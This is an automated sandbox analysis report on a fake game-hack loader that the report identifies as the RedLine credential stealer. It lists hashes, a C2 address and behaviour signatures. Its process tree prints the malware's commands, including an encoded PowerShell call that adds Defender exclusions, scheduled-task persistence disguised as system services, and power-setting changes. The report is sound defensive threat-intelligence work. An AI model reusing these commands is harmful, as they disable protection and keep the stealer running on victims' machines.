Resubmissions

21/01/2025, 08:24

250121-ka7wnavmhr 10

12/06/2024, 04:32

240612-e6ft6a1cmr 10

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240611-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
  • submitted
    12/06/2024, 04:32

General

  • Target

    MultiHack v1.7/Loader.exe

  • Size

    613KB

  • MD5

    eaf135289c47813fb42ca5c8725a318c

  • SHA1

    b10df8a1ed28477738aa49d13075ae379cee59e4

  • SHA256

    d32338a207e0c9389388cebeb45abe709e4dc6fe02d0f8267b478fd2cfeb1760

  • SHA512

    c9288aee9876d006ce998753785982c086382ecbfaecb0f6fca7e445ce0f42efe3375771e0d9211f3dadcf09476c607584c09038dd970c325cc1d314ccc0abed

  • SSDEEP

    12288:k55CP3Izb3vmJxMtTCGpZo0kidUBHZ2MErqp4tv/D7YmvDeDidYA7j//GrzS3emc:kqPIHmKTCGDoT

Malware Config

Extracted

Family

redline

Botnet

@bloodyrain12

C2

147.45.47.93:80

Signatures

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine payload 1 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 5 IoCs
  • Loads dropped DLL 4 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious use of AdjustPrivilegeToken 15 IoCs
  • Suspicious use of WriteProcessMemory 41 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\MultiHack v1.7\Loader.exe
    "C:\Users\Admin\AppData\Local\Temp\MultiHack v1.7\Loader.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1136
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2028
      • C:\Users\Admin\AppData\Local\Temp\conhost.exe
        "C:\Users\Admin\AppData\Local\Temp\conhost.exe"
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:4264
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\main\main.bat" /S"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:396
          • C:\Windows\system32\mode.com
            mode 65,10
            5⤵
              PID:3476
            • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
              7z.exe e file.zip -p2644924162377919422435812936 -oextracted
              5⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious use of AdjustPrivilegeToken
              PID:3364
            • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
              7z.exe e extracted/file_2.zip -oextracted
              5⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious use of AdjustPrivilegeToken
              PID:3508
            • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
              7z.exe e extracted/file_1.zip -oextracted
              5⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious use of AdjustPrivilegeToken
              PID:1848
            • C:\Windows\system32\attrib.exe
              attrib +H "Installer.exe"
              5⤵
              • Views/modifies file attributes
              PID:4388
            • C:\Users\Admin\AppData\Local\Temp\main\Installer.exe
              "Installer.exe"
              5⤵
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:2676
              • C:\Windows\SysWOW64\cmd.exe
                "cmd.exe" /C powershell -EncodedCommand "PAAjAEIATQBhADUARwAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAEIATQAwAEgAQQAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBDADAAUgA3AG4AeAB1AGUAagAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwB3AHYAQwAjAD4A" & powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 & powercfg /hibernate off
                6⤵
                • Suspicious use of WriteProcessMemory
                PID:3380
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell -EncodedCommand "PAAjAEIATQBhADUARwAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAEIATQAwAEgAQQAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBDADAAUgA3AG4AeAB1AGUAagAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwB3AHYAQwAjAD4A"
                  7⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4080
              • C:\Windows\SysWOW64\cmd.exe
                "cmd.exe" /c SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"
                6⤵
                  PID:4060
                  • C:\Windows\SysWOW64\schtasks.exe
                    SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"
                    7⤵
                    • Creates scheduled task(s)
                    PID:32
                • C:\Windows\SysWOW64\cmd.exe
                  "cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk4415" /TR "C:\ProgramData\Dllhost\dllhost.exe"
                  6⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4584
                  • C:\Windows\SysWOW64\schtasks.exe
                    SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk4415" /TR "C:\ProgramData\Dllhost\dllhost.exe"
                    7⤵
                    • Creates scheduled task(s)
                    PID:4524

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\Tmp58AF.tmp

        Filesize

        2KB

        MD5

        1420d30f964eac2c85b2ccfe968eebce

        SHA1

        bdf9a6876578a3e38079c4f8cf5d6c79687ad750

        SHA256

        f3327793e3fd1f3f9a93f58d033ed89ce832443e2695beca9f2b04adba049ed9

        SHA512

        6fcb6ce148e1e246d6805502d4914595957061946751656567a5013d96033dd1769a22a87c45821e7542cde533450e41182cee898cd2ccf911c91bc4822371a8

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_34e5byeg.owp.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Local\Temp\conhost.exe

        Filesize

        2.5MB

        MD5

        8378455f7c8a30d74b355adaf576a10b

        SHA1

        eea06e7df8f1cef7abacb41e4b90bc5343493ce2

        SHA256

        09ec3bf64600d1fedbd11bb3ebb705a0f541d1310f5f8690de70d37648fcd4b4

        SHA512

        c425570bbb3cd2d7e6472ca82b37bca4c18f6f47e5ea9a1bf7cdf449908729c0d36e46ad85d550a348eeb9caef686976907a03c87b52a63235800a2b4bc28c3d

      • C:\Users\Admin\AppData\Local\Temp\main\7z.dll

        Filesize

        1.6MB

        MD5

        72491c7b87a7c2dd350b727444f13bb4

        SHA1

        1e9338d56db7ded386878eab7bb44b8934ab1bc7

        SHA256

        34ad9bb80fe8bf28171e671228eb5b64a55caa388c31cb8c0df77c0136735891

        SHA512

        583d0859d29145dfc48287c5a1b459e5db4e939624bd549ff02c61eae8a0f31fc96a509f3e146200cdd4c93b154123e5adfbfe01f7d172db33968155189b5511

      • C:\Users\Admin\AppData\Local\Temp\main\7z.exe

        Filesize

        458KB

        MD5

        619f7135621b50fd1900ff24aade1524

        SHA1

        6c7ea8bbd435163ae3945cbef30ef6b9872a4591

        SHA256

        344f076bb1211cb02eca9e5ed2c0ce59bcf74ccbc749ec611538fa14ecb9aad2

        SHA512

        2c7293c084d09bc2e3ae2d066dd7b331c810d9e2eeca8b236a8e87fdeb18e877b948747d3491fcaff245816507685250bd35f984c67a43b29b0ae31ecb2bd628

      • C:\Users\Admin\AppData\Local\Temp\main\extracted\ANTIAV~1.DAT

        Filesize

        2.2MB

        MD5

        e8347a67e89b5ee5a92ca9b028c28939

        SHA1

        fb966e59b909d3f3ae3ce63335f4d8a33455f30e

        SHA256

        a4d039e3b02b452f98b7a5631d7cf713f1276c256da1ed1f468a90d5bdf0fd96

        SHA512

        de7086e8f25eda7e8cd2e65fbee6df3fda8eb21a7e43732efaa0cdfff10043f474011580b926fc81108e8b93c60a68edb5cf7d2df574ec7a95c00d200068dc48

      • C:\Users\Admin\AppData\Local\Temp\main\extracted\Installer.exe

        Filesize

        21KB

        MD5

        c99d1c695902a242e6d90fd019e782a0

        SHA1

        26311dbc3d7a205f6f025605d3fc98c287a3ca62

        SHA256

        478f897b45e515b498c0d6f4a27dd9efeed260bc3cea4300103cc2d6ea12ea37

        SHA512

        02bb59b7dc6757a53fd64af1734f1c2bb4101c6359922b3905b8cfbd901ee303da99d6427e82e1c34136be491e6789d35513bb18ed0c752a07acf8883d18441b

      • C:\Users\Admin\AppData\Local\Temp\main\extracted\file_1.zip

        Filesize

        9KB

        MD5

        9937f8a01c86e8d65f1561f6a46fc2a2

        SHA1

        f588a081e7ecec1b99dc7b681aa526ea85f3b1e8

        SHA256

        be4b20f6a5866d395f0bd5bb5b5a14884b3ef01521aac950c6bcdde68df472c7

        SHA512

        91414854ff6298d5f9be417467ddf2cbaf93f14b38b184592eaad4362cb3b9d460af898c75187e2409eb821ffb97c2a681e1e8be5c7c2c076b1318955acdb0f6

      • C:\Users\Admin\AppData\Local\Temp\main\extracted\file_2.zip

        Filesize

        1.6MB

        MD5

        75533d2d5469d0809817c20ab162de3a

        SHA1

        af847e785a7089d99702f01e7ae9f8f5cf317032

        SHA256

        ef87c02f5d905b4de8d4160c17b00534e47d270848d2ff9abccef426ee80a0f8

        SHA512

        9a86be664bd8df870e8195e3af66eeb1582bd01db45bb7cf1c948a06ecdbe901acf704284b9470713b7cf5e1a23a894857519b07d07fc669e1530192c210a393

      • C:\Users\Admin\AppData\Local\Temp\main\file.bin

        Filesize

        1.6MB

        MD5

        dc7ce835a6839f4a60250c631c3a0544

        SHA1

        89d87d37ed359d9ec6f71cb5665e2585ece89ae9

        SHA256

        1b585c3c84b492ab4f7aecdc812d2a5fe7afa0e185d064cac835011e2a27f2e1

        SHA512

        a102bed58d0174477c38defbf2276a6d2676c893f196b7f3f24004890cd95a0c8341bd74092ac9acca15f1e64b84a22dd39007d4e2c171c71d5ab15af5bb6ecd

      • C:\Users\Admin\AppData\Local\Temp\main\main.bat

        Filesize

        474B

        MD5

        663de4f0de72fd3ab5b6a72d64e9d332

        SHA1

        69d3f80ed578dbf68c8796f8fb6a41cf568e79b0

        SHA256

        e7b95be97a4c88bd7fdb1b953f6c27c4a184538228a63c30aa8e5282854d24b9

        SHA512

        4b1ef81b0000183a61218266ef97b9fb5de943c62511f2d86887c80c25df35d15043386da1996e8261954a5a4397708980f2e72d7b3a29f679f0bb4eead5be37

      • C:\Users\Admin\AppData\Roaming\d3d9.dll

        Filesize

        424KB

        MD5

        fda3a1397022e33760f8ae5897f933b2

        SHA1

        976962a81130844f2443cf547e4f9371a2cb3582

        SHA256

        6acaef80c9fa895febc846f53429bc104a1e31c0f6ef594cba173f43cee3691c

        SHA512

        8766cf40885bd60a15eca9f39dc0d7c63ff096c14f9aea0b5e3dbb7507aa43a3d50cd363890ac2ec50e3f28a163f7f6efa57ea9faf2c441313e7d2b773820dba

      • memory/1136-101-0x0000000075060000-0x0000000075810000-memory.dmp

        Filesize

        7.7MB

      • memory/1136-1-0x0000000000210000-0x00000000002B2000-memory.dmp

        Filesize

        648KB

      • memory/1136-0-0x000000007506E000-0x000000007506F000-memory.dmp

        Filesize

        4KB

      • memory/1136-2-0x0000000004CE0000-0x0000000004CE6000-memory.dmp

        Filesize

        24KB

      • memory/1136-12-0x0000000075060000-0x0000000075810000-memory.dmp

        Filesize

        7.7MB

      • memory/1136-11-0x0000000077B01000-0x0000000077C21000-memory.dmp

        Filesize

        1.1MB

      • memory/2028-35-0x0000000005EC0000-0x0000000005EDE000-memory.dmp

        Filesize

        120KB

      • memory/2028-42-0x0000000006760000-0x0000000006772000-memory.dmp

        Filesize

        72KB

      • memory/2028-45-0x00000000089E0000-0x0000000008A46000-memory.dmp

        Filesize

        408KB

      • memory/2028-46-0x0000000008FA0000-0x0000000008FF0000-memory.dmp

        Filesize

        320KB

      • memory/2028-47-0x0000000009E10000-0x0000000009FD2000-memory.dmp

        Filesize

        1.8MB

      • memory/2028-48-0x000000000A510000-0x000000000AA3C000-memory.dmp

        Filesize

        5.2MB

      • memory/2028-49-0x0000000075060000-0x0000000075810000-memory.dmp

        Filesize

        7.7MB

      • memory/2028-43-0x00000000067C0000-0x00000000067FC000-memory.dmp

        Filesize

        240KB

      • memory/2028-68-0x0000000075060000-0x0000000075810000-memory.dmp

        Filesize

        7.7MB

      • memory/2028-9-0x0000000000420000-0x0000000000472000-memory.dmp

        Filesize

        328KB

      • memory/2028-41-0x00000000080D0000-0x00000000081DA000-memory.dmp

        Filesize

        1.0MB

      • memory/2028-40-0x0000000006850000-0x0000000006E68000-memory.dmp

        Filesize

        6.1MB

      • memory/2028-34-0x0000000005810000-0x0000000005886000-memory.dmp

        Filesize

        472KB

      • memory/2028-17-0x0000000075060000-0x0000000075810000-memory.dmp

        Filesize

        7.7MB

      • memory/2028-16-0x0000000004A40000-0x0000000004A4A000-memory.dmp

        Filesize

        40KB

      • memory/2028-15-0x0000000004980000-0x0000000004A12000-memory.dmp

        Filesize

        584KB

      • memory/2028-13-0x0000000004FE0000-0x0000000005584000-memory.dmp

        Filesize

        5.6MB

      • memory/2028-44-0x0000000006800000-0x000000000684C000-memory.dmp

        Filesize

        304KB

      • memory/2028-14-0x0000000075060000-0x0000000075810000-memory.dmp

        Filesize

        7.7MB

      • memory/2676-100-0x00000000003F0000-0x00000000003FC000-memory.dmp

        Filesize

        48KB

      • memory/4080-102-0x0000000003340000-0x0000000003376000-memory.dmp

        Filesize

        216KB

      • memory/4080-129-0x0000000006ED0000-0x0000000006EEE000-memory.dmp

        Filesize

        120KB

      • memory/4080-110-0x0000000006170000-0x0000000006192000-memory.dmp

        Filesize

        136KB

      • memory/4080-111-0x0000000006310000-0x0000000006376000-memory.dmp

        Filesize

        408KB

      • memory/4080-115-0x0000000006460000-0x00000000067B4000-memory.dmp

        Filesize

        3.3MB

      • memory/4080-116-0x00000000068F0000-0x000000000690E000-memory.dmp

        Filesize

        120KB

      • memory/4080-117-0x0000000006990000-0x00000000069DC000-memory.dmp

        Filesize

        304KB

      • memory/4080-118-0x0000000007AD0000-0x0000000007B02000-memory.dmp

        Filesize

        200KB

      • memory/4080-119-0x0000000071A10000-0x0000000071A5C000-memory.dmp

        Filesize

        304KB

      • memory/4080-103-0x0000000005A90000-0x00000000060B8000-memory.dmp

        Filesize

        6.2MB

      • memory/4080-130-0x0000000007B10000-0x0000000007BB3000-memory.dmp

        Filesize

        652KB

      • memory/4080-131-0x0000000008260000-0x00000000088DA000-memory.dmp

        Filesize

        6.5MB

      • memory/4080-132-0x0000000007C20000-0x0000000007C3A000-memory.dmp

        Filesize

        104KB

      • memory/4080-133-0x0000000007C90000-0x0000000007C9A000-memory.dmp

        Filesize

        40KB

      • memory/4080-134-0x0000000007EB0000-0x0000000007F46000-memory.dmp

        Filesize

        600KB

      • memory/4080-135-0x0000000007E20000-0x0000000007E31000-memory.dmp

        Filesize

        68KB

      • memory/4080-139-0x0000000007E60000-0x0000000007E6E000-memory.dmp

        Filesize

        56KB

      • memory/4080-141-0x0000000007E70000-0x0000000007E84000-memory.dmp

        Filesize

        80KB

      • memory/4080-142-0x0000000007F50000-0x0000000007F6A000-memory.dmp

        Filesize

        104KB

      • memory/4080-143-0x0000000007EA0000-0x0000000007EA8000-memory.dmp

        Filesize

        32KB